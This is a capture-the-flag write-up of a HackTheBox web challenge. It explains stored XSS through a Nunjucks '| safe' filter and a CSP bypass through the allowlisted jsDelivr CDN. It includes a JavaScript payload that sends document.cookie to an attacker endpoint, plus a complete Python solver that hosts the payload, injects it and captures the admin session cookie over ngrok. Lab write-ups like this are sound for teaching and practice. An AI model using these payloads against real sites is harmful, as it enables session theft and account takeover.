🎃 Cursed Secret Party [web] 🎃
Description:
- You’ve just received an invitation to a party. Authorities have reported that the party is cursed, and the guests are trapped in a never-ending unsolvable murder mystery party. Can you investigate further and try to save everyone?
Difficulty:
medium
Flag:
HTB{cdn_c4n_byp4ss_c5p!!}
Challenge Files:
Challenge:
On bot.js
we notice that a Headless Chrome is being set up that visits /admin
and /admin/delete_all
with the flag set up as a JWT cookie.
let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
await page.setCookie({
name: 'session',
value: token,
domain: '127.0.0.1:1337'
});
await page.goto('http://127.0.0.1:1337/admin', {
waitUntil: 'networkidle2',
timeout: 5000
});
await page.goto('http://127.0.0.1:1337/admin/delete_all', {
waitUntil: 'networkidle2',
timeout: 5000
});
On routes/index.js
we see that the there is a POST
request on /api/submit
endpoint that expects data passed on body.
router.post('/api/submit', (req, res) => {
const { halloween_name, email, costume_type, trick_or_treat } = req.body;
if (halloween_name && email && costume_type && trick_or_treat) {
return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
.then(() => {
res.send(response('Your request will be reviewed by our team!'));
bot.visit();
})
.catch(() => res.send(response('Something Went Wrong!')));
}
return res.status(401).send(response('Please fill out all the required fields!'));
});
Nunjucks Filtering 🦺
Everything from req.body
gets inserted in the database and then gets rendered on the /admin
endpoint without any sanitization. That means that we can control the contents of the admin endpoint without any filtering.
router.get('/admin', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(response('Unautorized!'));
}
return db.get_party_requests()
.then((data) => {
res.render('admin.html', { requests: data });
});
});
Checking on how the view is rendered on views/admin.html
we notice that the Halloween Name gets rendered on the page with the | safe
filter.
<div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
In the Nunjucks documentation we notice that when this filter is passed that means that the data passed are trusted and they are not escaped. So if we pass HTML
it will not be escaped.
{{ foo }} // <span%gt;
{{ foo | safe }} // <span>
🎈 Bypassing CSP 🎈
To get the flag we need to force the bot to visit an endpoint of ours because it has set up the flag as the cookie. This will not work because we have a strict CSP
that lists and describes paths and sources, from which the browser can safely load resources.
app.use(function (req, res, next) {
res.setHeader(
"Content-Security-Policy",
"script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
);
next();
});
Checking the paths that get accepted from the CSP we can see that cdn.jsdelivr.net
get’s accepted too. JSDelivr
is a public content delivery network for open-source software projects, including packages hosted on GitHub, npm, and WordPress.org. That means that we can use this cdn to host our JavaScript payload.
Load any GitHub release, commit, or branch:
/gh/user/repo@version/file
The goal is to force the bot to load our hosted payload on GitHub as an external script source and then through the external script we should force the bot to visit our endpoint. The bot will visit our endpoint with the flag
set as its cookie.
<!-- Halloween Name -->
<script src="https://cdn.jsdelivr.net//gh/user/repo@version/file"></script>
// GitHub Payload
fetch("http://our_endpoint/?c="+document.cookie);
Solver:
from git import Repo
from pyngrok import ngrok
import http.server, socketserver, requests, jwt, re
host, port = '127.0.0.1', 1337
HOST = 'http://%s:%d/' % (host, port)
repo = Repo('.')
local_serve_port = 9998
payload_filename = 'pepe.js'
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
decode_flag(self.path)
def craft_payload(filename, url):
with open(filename, 'w') as f:
f.write(f'fetch("{url}/?c="+document.cookie);')
f.close()
def upload_payload():
repo.git.add(payload_filename)
repo.git.commit('-m', 'pepe payload :)')
repo.git.push()
def exploit(HOST, filename):
payload = f'<script src="https://cdn.jsdelivr.net/gh/el-queso/csp_bypass_via_jsdelivr@latest/{filename}"></script>'
data = {
'halloween_name': payload,
'email': '[email protected]',
'costume_type': 'ghost',
'trick_or_treat': 'tricks'
}
requests.post(f'{HOST}api/submit',
headers={'Content-Type': 'application/json'}, json=data)
def decode_flag(cookie):
jwt_encoded = re.search('(?<=session=).*', cookie).group(0)
jwt_decoded = jwt.decode(jwt_encoded, options={"verify_signature": False})
print(jwt_decoded['flag'])
httpd = socketserver.TCPServer(('', local_serve_port), Handler)
ngrok_url = ngrok.connect(local_serve_port).public_url
craft_payload(payload_filename, ngrok_url)
upload_payload()
exploit(HOST, payload_filename)
httpd.handle_request()